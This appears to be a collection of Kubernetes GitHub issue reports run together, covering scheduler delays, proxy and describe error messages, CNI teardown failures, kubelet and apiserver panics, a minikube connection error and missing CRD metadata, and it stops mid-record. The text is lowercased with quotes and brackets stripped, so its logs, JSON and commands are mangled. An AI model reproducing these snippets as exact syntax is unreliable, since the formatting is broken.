i1211 18:56:11.462891       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:11.525603       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r    \r   for the record, i enabled the  and all the pods were using the same priority-class.  \r \r   what you expected to happen  :\r pods get scheduled on time. \r \r   how to reproduce it  as minimally and precisely as possible   :\r using kubemark to create 1000 hollow nodes.\r \r   anything else we need to know?  :\r na\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v 1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

if i try and visit a service with multiple ports via the proxy at the master and i don't specify a port i get an unhelpful error message e.g.  https://104.197.36.97/api/v1beta3/proxy/namespaces/default/services/elasticsearch-elasticsearch       {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1beta3\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ no endpoints available for \\\ elasticsearch-kibana\\\ \ ,   \ code\ : 500 }      well, this service does have two ports:  es  and  kibana . specifying the port works:  https://104.197.36.97/api/v1beta3/proxy/namespaces/default/services/elasticsearch-kibana  gives      {   \ status\  : 200,   \ name\  : \ cardinal\ ,   \ cluster_name\  : \ elasticsearch\ ,   \ version\  : {     \ number\  : \ 1.4.5\ ,     \ build_hash\  : \ 2aaf797f2a571dcb779a3b61180afe8390ab61f9\ ,     \ build_timestamp\  : \ 2015-04-27t08:06:06z\ ,     \ build_snapshot\  : false,     \ lucene_version\  : \ 4.10.4\    },   \ tagline\  : \ you know, for search\  }      we should give a better error message.

when pods cannot be scheduled due to insufficient resources, kubectl describe should give useful output. currently we have      $ cluster/kubectl.sh describe pod mysql  w0603 11:50:59.541717   99656 request.go:291  field selector: v1beta3 - events - involvedobject.name - mysql: need to check if this is versioned correctly. w0603 11:50:59.541822   99656 request.go:291  field selector: v1beta3 - events - involvedobject.namespace - default: need to check if this is versioned correctly. w0603 11:50:59.541838   99656 request.go:291  field selector: v1beta3 - events - involvedobject.uid - 4b433a7b-0a20-11e5-afa1-42010af0f412: need to check if this is versioned correctly. name:               mysql image s :           mysql node:               / labels:             name=mysql status:             pending replication controllers:    <none> containers: events:   firstseen             lastseen            count   from        subobjectpath   reason          message   wed, 03 jun 2015 11:43:32 -0700   wed, 03 jun 2015 11:46:35 -0700 6   {scheduler }            failedscheduling    error scheduling: failed to find fit for pod, node kubernetes-minion-6vim: podfitsresourcesnode kubernetes-minion-kprc: podfitsresourcesnode kubernetes-minion-imqn: podfitsresourcesnode kubernetes-minion-k6im: podfitsresources   wed, 03 jun 2015 11:42:32 -0700   wed, 03 jun 2015 11:48:32 -0700 4   {scheduler }            failedscheduling    error scheduling: failed to find fit for pod, node kubernetes-minion-kprc: podfitsresourcesnode kubernetes-minion-imqn: podfitsresourcesnode kubernetes-minion-k6im: podfitsresourcesnode kubernetes-minion-6vim: podfitsresources   wed, 03 jun 2015 11:44:32 -0700   wed, 03 jun 2015 11:48:35 -0700 3   {scheduler }            failedscheduling    error scheduling: failed to find fit for pod, node kubernetes-minion-k6im: podfitsresourcesnode kubernetes-minion-6vim: podfitsresourcesnode kubernetes-minion-kprc: podfitsresourcesnode kubernetes-minion-imqn: podfitsresources   wed, 03 jun 2015 11:42:35 -0700   wed, 03 jun 2015 11:50:35 -0700 5   {scheduler }            failedscheduling    error scheduling: failed to find fit for pod, node kubernetes-minion-imqn: podfitsresourcesnode kubernetes-minion-k6im: podfitsresourcesnode kubernetes-minion-6vim: podfitsresourcesnode kubernetes-minion-kprc: podfitsresources      which is cryptic and also lists every attempted node.

currently the add-on services are updated only if the name changes  new service is created and the old one is deleted . but it should be possible to update them without changing the name.

we should make sure that kubernetes components aren't logging excessively.   write an e2e test that sshs into each node and measures the kb/min of the log files and ensures that it is < some threshold.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging/74/  failed:  k8s.io  pods should support remote command execution over websockets {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  7 07:30:24.276: couldn't delete ns: \ e2e-tests-pods-jipoi\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-pods-jipoi/pods\\\ \   has prevented the request from succeeding  get pods   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-pods-jipoi/pods\\\\\\\ \\\   has prevented the request from succeeding  get pods \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc821ca21e0 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

since we are unsure whether docker 1.10 will continue to be supported in 1.6, we should prepare for the worst case  ?  and test.\r \r the prerequisite of this is to support older separator   :   for docker security options. related pr:  40179\r \r /cc @dchen1107 @random-liu

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r @kubernetes/sig-scheduling-feature-requests \r \r ref/  47604

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r we have k8s installed on azure and recently we found that apiserver disconnected for unknown reason and when we try to pull the logs we found docker daemon hung and we have to restart the docker service and kubelet service to get it working.\r \r we've collected logs regarding dockerd and kubelet \r   what you expected to happen  :\r we would  to know any reason for this issue and mitigation for the issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r +attachment\r \r  journalctl_logs.zip  https://github.com/kubernetes/kubernetes/files/1186487/journalctl_logs.zip \r  vmstat.txt  https://github.com/kubernetes/kubernetes/files/1186488/vmstat.txt \r \r \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r i get an error log when deleting a pod:\r    \r i0912 17:24:28.106047   15221 plugins.go:405  calling network plugin cni to tear down pod \ choury-2_default\ \r i0912 17:24:28.106566   15221 cni.go:326  got netns path /proc/16933/ns/net\r i0912 17:24:28.106570   15221 cni.go:327  using netns path default\r i0912 17:24:28.106648   15221 cni.go:316  about to del cni network containernet  type=flannel \r i0912 17:24:28.346771   15221 manager.go:989  destroyed container: \ /docker/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\   aliases:  k8s_pod_choury-2_default_0bbb310e-979c-11e7-a60b-246e962f8920_0 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145 , namespace: \ docker\  \r i0912 17:24:28.346800   15221 handler.go:325  added event &{/docker/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145 2017-09-12 17:24:28.34679296 +0800 cst containerdeletion {<nil>}}\r i0912 17:24:28.843224   15221 generic.go:146  genericpleg: 0bbb310e-979c-11e7-a60b-246e962f8920/63e008b581037b38b0bd11bb9f11fc01bdb2e044b10b7441719ba8acb4fa7476: running -> exited\r i0912 17:24:28.843232   15221 generic.go:146  genericpleg: 0bbb310e-979c-11e7-a60b-246e962f8920/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145: running -> exited\r i0912 17:24:28.843691   15221 kuberuntime_manager.go:809  getsandboxidbypoduid got sandbox ids  \ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\   for pod \ choury-2_default 0bbb310e-979c-11e7-a60b-246e962f8920 \ \r i0912 17:24:28.846665   15221 generic.go:345  pleg: write status for choury-2/default: &container.podstatus{id:\ 0bbb310e-979c-11e7-a60b-246e962f8920\ , name:\ choury-2\ , namespace:\ default\ , ip:\ \ , containerstatuses:   container.containerstatus{  container.containerstatus  0xc4210f2540 }, sandboxstatuses:   runtime.podsandboxstatus{  runtime.podsandboxstatus  0xc4214b1680 }}  err: <nil> \r i0912 17:24:28.846698   15221 kubelet.go:1849  syncloop  pleg : \ choury-2_default 0bbb310e-979c-11e7-a60b-246e962f8920 \ , event: &pleg.podlifecycleevent{id:\ 0bbb310e-979c-11e7-a60b-246e962f8920\ , type:\ containerdied\ , data:\ 63e008b581037b38b0bd11bb9f11fc01bdb2e044b10b7441719ba8acb4fa7476\ }\r i0912 17:24:28.846720   15221 kubelet.go:1849  syncloop  pleg : \ choury-2_default 0bbb310e-979c-11e7-a60b-246e962f8920 \ , event: &pleg.podlifecycleevent{id:\ 0bbb310e-979c-11e7-a60b-246e962f8920\ , type:\ containerdied\ , data:\ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\ }\r w0912 17:24:28.846732   15221 pod_container_deletor.go:77  container \ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\  not found in pod's containers\r i0912 17:24:28.846747   15221 kubelet_pods.go:1284  generating status for \ choury-2_default 0bbb310e-979c-11e7-a60b-246e962f8920 \ \r i0912 17:24:28.847422   15221 plugins.go:405  calling network plugin cni to tear down pod \ choury-2_default\ \r w0912 17:24:28.847895   15221 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\ \r i0912 17:24:28.847902   15221 cni.go:326  got netns path\r i0912 17:24:28.847904   15221 cni.go:327  using netns path default\r i0912 17:24:28.847951   15221 cni.go:316  about to del cni network containernet  type=flannel \r e0912 17:24:28.850957   15221 cni.go:319  error deleting network: open /var/lib/cni/flannel/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145: no such file or directory\r e0912 17:24:28.851430   15221 remote_runtime.go:115  stoppodsandbox \ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ choury-2_default\  network: open /var/lib/cni/flannel/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145: no such file or directory\r e0912 17:24:28.851477   15221 kuberuntime_manager.go:756  failed to stop sandbox {\ docker\  \ 69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145\ }\r e0912 17:24:28.851514   15221 kubelet.go:1510  error killing pod: failed to \ killpodsandbox\  for \ 0bbb310e-979c-11e7-a60b-246e962f8920\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ choury-2_default\\\  network: open /var/lib/cni/flannel/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145: no such file or directory\ \r e0912 17:24:28.851571   15221 pod_workers.go:182  error syncing pod 0bbb310e-979c-11e7-a60b-246e962f8920  \ choury-2_default 0bbb310e-979c-11e7-a60b-246e962f8920 \  , skipping: error killing pod: failed to \ killpodsandbox\  for \ 0bbb310e-979c-11e7-a60b-246e962f8920\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ choury-2_default\\\  network: open /var/lib/cni/flannel/69b5a8444930b50bd246e7d64726b44dc862745734cc497f60a3f4f15e863145: no such file or directory\ \r i0912 17:24:28.851666   15221 server.go:226  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ choury-2\ , uid:\ 0bbb310e-979c-11e7-a60b-246e962f8920\ , apiversion:\ v1\ , resourceversion:\ 14649589\ , fieldpath:\ \ } : type: 'warning' reason: 'failedsync' error syncing pod\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r it seems kubelet does not think that the first deletion is successful ?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1.83+586802fc9d9401-dirty\ , gitcommit:\ 586802fc9d940148e9655fc1a934adb122c61d8f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-12t07:52:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1.83+586802fc9d9401-dirty\ , gitcommit:\ 586802fc9d940148e9655fc1a934adb122c61d8f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-12t07:52:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r  docker version\r    \r client:\r  version:      1.12.5\r  api version:  1.24\r  go version:   go1.6\r  git commit:   dc67f83\r  built:        thu nov 24 16:50:12 2016\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6\r  git commit:   daf0db7\r  built:        mon oct 31 15:46:15 2016\r  os/arch:      linux/amd64\r    \r - os  e.g. from /etc/os-release :\r centos 6.4\r - kernel  e.g.  uname -a  :\r linux 3.10.104\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r \r   what happened  :\r \r getting this error when building proxy.go\r \r c:\\projects\\go\\src\\k8s.io\\kubernetes>go build cmd/kube-proxy/proxy.go\r k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi\r pkg\\kubectl\\cmd\\util\\openapi\\openapi_getter.go:57:42: cannot use s  type  \ github.com/googleapis/gnostic/openapiv2\ .document  as type  \ k8s.io/kubernetes/vendor/github.com/googleapis/gnostic/openapiv2\ .document in argument to newopenapidata\r   what you expected to happen  :\r proxy.go build success.\r   how to reproduce it  as minimally and precisely as possible   :\r run \ go build k8s.io/kubernetes/cmd/kube-proxy/proxy.go\r \r   anything else we need to know?  :\r \r i am following https://kubernetes.io/docs/getting-started-guides/windows/\r \r environment:\r kubernetes version  use kubectl version : 1.7.3\r cloud provider or hardware configuration  : local\r os  e.g. from /etc/os-release :   windows\r kernel  e.g. uname -a : 2016\r install tools: no\r others: no\r

hello experts,\r \r i want to learn kubernetes and installed it on my laptop that is running windows 10.\r \r installed:\r minikube using minikube-installer\r python-3.6.3\r git-2.14.2.2-64-bit\r virtualbox-5.1.28-117968-win\r kubectl\r \r install went fine. in the firewall exception list, i have put minikube and kubectl. \r \r \r i am getting below error\r \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r \r unable to connect to the server: dial tcp  ::1 :8080: connectex: no connection could be made because the target machine actively refused it.\r \r what could be possible reason for this error? how to fix it?\r \r please let me know what all information you need to help me on this. i searched for other similar issues but that did not help much.\r \r thank you in advance.\r \r regards,\r dev\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r \r   what happened  :\r i deployed an es app with charts https://github.com/kubernetes/charts/blob/master/incubator/elasticsearch and after node restart, i got the error of following:\r \r    \r  2017-10-17t08:40:32,026  info   o.e.t.transportservice      q5rbw3l  publish_address {10.1.216.132:9300}, bound_addresses { :: :9300}\r  2017-10-17t08:40:32,056  info   o.e.b.bootstrapchecks       q5rbw3l  bound or publishing to a non-loopback or non-link-local address, enforcing bootstrap checks\r error:  1  bootstrap checks failed\r  1 : max virtual memory areas vm.max_map_count  65530  is too low, increase to at least  262144 \r  2017-10-17t08:40:32,073  info   o.e.n.node                  q5rbw3l  stopping ...\r    \r \r the reason is that after node reboot, there is no chance to restart the init container so that there is no chance to update the value of vm.max_map_count https://github.com/kubernetes/charts/blob/master/incubator/elasticsearch/templates/master-statefulset.yaml l45-l53\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r

networkpolicy v1 will be the default in 1.9. we can now mark  v1beta1  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/extensions/v1beta1/types.go  as deprecated.\r \r -  x  mark field types as deprecated  56425\r -  x  add deprecation note to release notes in 1.9\r -  x  send announcement to kube-dev, kube-announce, and sig-net mailing lists

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   what happened  :\r \r kubelet panic.\r \r   what you expected to happen  :\r \r not panic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r kublet log:\r \r > jul 19 10:58:18 m7-cube-k8s01 kubelet: e0719 10:58:18.631014    2518 helpers.go:468  percpuusage had 0 cpus, but the actual number is 40; ignoring extra cpus\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: panic: runtime error: index out of range\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: goroutine 5038672  running :\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: k8s.io/kubernetes/vendor/github.com/google/cadvisor/metrics.  prometheuscollector .collectcontainersinfo 0xc420f40500, 0xc428e76c60 \r > jul 19 10:58:18 m7-cube-k8s01 kubelet: /workspace/anago-v1.8.14-beta.0.16+9d72fafc46543e/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/metrics/prometheus.go:808 +0xc21\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: k8s.io/kubernetes/vendor/github.com/google/cadvisor/metrics.  prometheuscollector .collect 0xc420f40500, 0xc428e76c60 \r > jul 19 10:58:18 m7-cube-k8s01 kubelet: /workspace/anago-v1.8.14-beta.0.16+9d72fafc46543e/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/metrics/prometheus.go:726 +0x89\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .gather.func2 0xc42ab6db50, 0xc428e76c60, 0x5245880, 0xc420f40500 \r > jul 19 10:58:18 m7-cube-k8s01 kubelet: /workspace/anago-v1.8.14-beta.0.16+9d72fafc46543e/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:382 +0x61\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: created by k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .gather\r > jul 19 10:58:18 m7-cube-k8s01 kubelet: /workspace/anago-v1.8.14-beta.0.16+9d72fafc46543e/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:383 +0x2ec\r > jul 19 10:58:18 m7-cube-k8s01 systemd: kubelet.service: main process exited, code=exited, status=2/invalidargument\r > jul 19 10:58:18 m7-cube-k8s01 systemd: unit kubelet.service entered failed state.\r > jul 19 10:58:18 m7-cube-k8s01 systemd: kubelet.service failed.\r > jul 19 10:58:18 m7-cube-k8s01 systemd: kubelet.service holdoff time over, scheduling restart.\r > \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r ╰─  kubectl version                                                                                                                                                                                                                                                                                                                                                   127 ↵\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.14\ , gitcommit:\ 9d72fafc46543ebdad024b7577012268bab543a7\ , gittreestate:\ clean\ , builddate:\ 2018-06-18t21:52:13z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ╭─root@172 ~\r \r    \r - cloud provider or hardware configuration:\r \r powerleader pr1710g2:\r + 40 cpu cores（2 numa nodes）\r + 512gb memory\r \r - os  e.g. from /etc/os-release :\r \r    \r  root@m7-cube-k8s01 ~   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r  root@m7-cube-k8s01 ~   uname -a\r linux m7-cube-k8s01 4.4.140-1.el7.elrepo.x86_64  1 smp wed jul 11 15:57:14 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r \r @kubernetes/sig-node-bugs\r \r  

is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r kube-apiserver panic due to concurrent map read and write\r \r   what you expected to happen  :\r \r keep running stablely\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r don't know\r \r   anything else we need to know?  :\r \r kube-apiserver panic log\r \r    \r fatal error: concurrent map read and map write\r /root/.gvm/gos/go1.9.2/src/runtime/panic.go:605\r /root/.gvm/gos/go1.9.2/src/runtime/hashmap_fast.go:324\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.nestedfieldnocopy\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/helpers.go:48\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.nestedmapnocopy\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/helpers.go:169\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.  unstructured .getinitializers \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/unstructured.go:340 \r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource.customresourcedefinitionstoragestrategy.getattrs \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource/strategy.go:95 \r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource. customresourcedefinitionstoragestrategy .getattrs-fm \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource/etcd.go:51 \r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  selectionpredicate .matches \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/selection_predicate.go:90 \r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.simplefilter.func1\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/util.go:47\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.filterfunction.func1\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:690\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  cacher .list\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:530\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .listpredicate\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:306\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .list\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:271 \r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.listresource.func1 \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/get.go:255 \r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:197  \r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp \r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 \r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp\r /data/gerrit/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234\r \r ...\r    \r \r   environment  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.2-beta.0.70+477efc3cbe6a7e-dirty\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ dirty\ , builddate:\ 2017-04-26t11:00:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-81+c57bd3a8666a38-dirty\ , gitcommit:\ c57bd3a8666a382b14870b18595bc143945aa3b4\ , gittreestate:\ dirty\ , builddate:\ 2018-08-08t02:48:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r    \r pretty_name=\ debian gnu/linux 7  wheezy \ \r name=\ debian gnu/linux\ \r version_id=\ 7\ \r version=\ 7  wheezy \ \r id=debian\r ansi_color=\ 1;31\ \r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support/\ \r bug_report_url=\ http://bugs.debian.org/\ \r    \r \r \r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r crds created with old kubernetes version are missing  .metadata.generation :\r \r example:\r \r    crd created recently:\r \r        $ curl -s '…/apis/zalando.org/v1/namespaces/default/platformcredentialssets/foo' | jq '.metadata | {creationtimestamp, generation}'\r        {\r          \ creationtimestamp\ : \ 2018-07-23t17:24:58z\ ,\r          \ generation\ : 1\r        }\r \r    crd created with one of the old versions:\r \r        $ curl -s 'https://…/apis/zalando.org/v1/namespaces/default/platformcredentialssets/bar' | jq '.metadata | {creationtimestamp, generation}'        \r        {\r          \ creationtimestamp\ : \ 2018-04-11t12:38:47z\ ,\r          \ generation\ : null\r        }\r \r   what you expected to happen  :\r \r i'd expect  generation  to be always present so i can use it in controllers and monitoring without resorting to ugly hacks.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a crd with an old version of kubernetes with crd subresources disabled  not sure which one, 1.10 or maybe 1.9 . update the cluster to 1.11. create another crd. observe that  .metadata.generation  is always present in the new one, but doesn't show up in the old one.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r       client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r       server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos 1800.7.0\r - kernel  